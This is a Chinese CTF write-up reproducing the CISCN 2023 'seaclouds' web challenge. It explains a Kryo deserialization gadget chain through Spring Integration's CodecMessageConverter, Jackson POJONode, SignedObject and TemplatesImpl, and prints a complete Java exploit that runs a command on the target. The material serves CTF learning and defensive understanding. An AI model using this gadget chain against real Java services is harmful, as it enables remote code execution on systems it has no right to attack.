【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现

2024-04-26 03:44

本文主要是介绍【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

原理速览

构造细节

EXP


原理速览

在Spring依赖下,可以触发jackson的BaseJsonNode#toString,从而调用getter,而后为所欲为

【Web】浅聊Jackson序列化getter的利用——POJONode_jackson 序列化时指定get方法

【Web】浅聊Java反序列化之Rome——关于其他利用链

至于如何调用toString,对于原生反序列化,走BadAttributeValueExpException最为方便,对于Field型的非原生反序列化, 如果对于Map的反序列化过程有类似HashMap#put的实现,就可以考虑HotSwappableTargetSource利用链

【Web】关于Java反序列化那些实现机制的朴素通识

而本题用的是kyro进行非原生反序列化,并且有上述后者的实现机制,就可以用HotSwappableTargetSource链来打,调用getter后再选择SignedObject打二次反序列化

构造细节

拿到源码似乎并没有直接给出反序列化入口,也没有看到waf

可以做文章的也就是最后return的代码

先是初始化了一个CodecMessageConverter对象,传入了codec为MessageCodec,并默认设置messageClass为GenericMessage.class

简单搜索关于CodecMessageConverter,再结合源码里给到的fromMessage和toMessage方法,不难理解其序列化和反序列化的功能

 

实例化完毕后接着再调用其toMessage方法

Message<?> decoded = (Message)this.codec.decode((byte[])((byte[])payload), this.messageClass);
这里,代码尝试将 byte[] 类型的 payload 解码成一个 Message<?> 对象。这个操作依赖于一个编解码器 codec,可能涉及从二进制数据到一个特定的消息对象的转换。this.messageClass 提供了目标消息的类信息,用于解码过程中确定具体的消息类型。

这里指定了解码的类型为this.messageClass(GenericMessage),所以后面构造的时候要用GenericMessage将payload封装起来(显然不影响HashMap的属性被put)

GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

最后的最后,题目调用了getPayload(),这个方法是GenericMessage类的,这也印证了我们反序列化得到的结果是个GenericMessage对象

EXP

package com.sea;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;public class EXP {public static void main(String[] args) throws Exception {// 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImplClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Evil");ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);ctClass.addConstructor(ctConstructor);byte[] byteCode = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "whatever");setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});POJONode pojoNode1 = new POJONode(templates);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");setFieldValue(badAttributeValueExpException, "val", pojoNode1);// 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject// 初始化 SignedObjectKeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");// 设置二次反序列化入口SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);POJONode pojoNode2 = new POJONode(signedObject);HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));// 手动构造 HashMap 以防触发正向利用链HashMap hashMap = new HashMap();setFieldValue(hashMap, "size", 2);Class nodeC;nodeC = Class.forName("java.util.HashMap$Node");Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));setFieldValue(hashMap, "table", tbl);CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());// 序列化GenericMessage genericMessage = new GenericMessage(hashMap);byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));// 反序列化Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);messagecode.getPayload();}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}

利用链

CodecMessageConverter-> toMessage(decodemsg, ...)this.codec.decode(decodemsg, ...)AbstractKryoCodec-> decode(decodemsg, ...)PojoCodec-> doDecode(...)Kryo-> readObject(...)MapSerializer-> read(...)Map#put(hotSwappableTargetSource, ...)HotSwappableTargetSource-> equals(...)XString-> equals(pojoNode)BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)SignedObject-> getObject()a.readObject()BadAttributeValueExpException-> readObject()valObj.toString()BaseJsonNode-> toString()InternalNodeMapper#nodeToString(this)TemplatesImpl-> getOutputProperties()...

这篇关于【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/936626

相关文章

docker编写java的jar完整步骤记录

《docker编写java的jar完整步骤记录》在平常的开发工作中,我们经常需要部署项目,开发测试完成后,最关键的一步就是部署,:本文主要介绍docker编写java的jar的相关资料,文中通过代... 目录all-docker/生成Docker打包部署文件配置服务A的Dockerfile (a/Docke

MySQL使用EXISTS检查记录是否存在的详细过程

《MySQL使用EXISTS检查记录是否存在的详细过程》EXISTS是SQL中用于检查子查询是否返回至少一条记录的运算符,它通常用于测试是否存在满足特定条件的记录,从而在主查询中进行相应操作,本文给大... 目录基本语法示例数据库和表结构1. 使用 EXISTS 在 SELECT 语句中2. 使用 EXIS

Web服务器-Nginx-高并发问题

《Web服务器-Nginx-高并发问题》Nginx通过事件驱动、I/O多路复用和异步非阻塞技术高效处理高并发,结合动静分离和限流策略,提升性能与稳定性... 目录前言一、架构1. 原生多进程架构2. 事件驱动模型3. IO多路复用4. 异步非阻塞 I/O5. Nginx高并发配置实战二、动静分离1. 职责2

SpringBoot通过main方法启动web项目实践

《SpringBoot通过main方法启动web项目实践》SpringBoot通过SpringApplication.run()启动Web项目,自动推断应用类型,加载初始化器与监听器,配置Spring... 目录1. 启动入口:SpringApplication.run()2. SpringApplicat

基于Spring Boot 的小区人脸识别与出入记录管理系统功能

《基于SpringBoot的小区人脸识别与出入记录管理系统功能》文章介绍基于SpringBoot框架与百度AI人脸识别API的小区出入管理系统,实现自动识别、记录及查询功能,涵盖技术选型、数据模型... 目录系统功能概述技术栈选择核心依赖配置数据模型设计出入记录实体类出入记录查询表单出入记录 VO 类(用于

java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)

《java中pdf模版填充表单踩坑实战记录(itextPdf、openPdf、pdfbox)》:本文主要介绍java中pdf模版填充表单踩坑的相关资料,OpenPDF、iText、PDFBox是三... 目录准备Pdf模版方法1:itextpdf7填充表单(1)加入依赖(2)代码(3)遇到的问题方法2:pd

Python Web框架Flask、Streamlit、FastAPI示例详解

《PythonWeb框架Flask、Streamlit、FastAPI示例详解》本文对比分析了Flask、Streamlit和FastAPI三大PythonWeb框架:Flask轻量灵活适合传统应用... 目录概述Flask详解Flask简介安装和基础配置核心概念路由和视图模板系统数据库集成实际示例Stre

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

在Spring Boot中集成RabbitMQ的实战记录

《在SpringBoot中集成RabbitMQ的实战记录》本文介绍SpringBoot集成RabbitMQ的步骤,涵盖配置连接、消息发送与接收,并对比两种定义Exchange与队列的方式:手动声明(... 目录前言准备工作1. 安装 RabbitMQ2. 消息发送者(Producer)配置1. 创建 Spr

如何使用Maven创建web目录结构

《如何使用Maven创建web目录结构》:本文主要介绍如何使用Maven创建web目录结构的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录创建web工程第一步第二步第三步第四步第五步第六步第七步总结创建web工程第一步js通过Maven骨架创pytho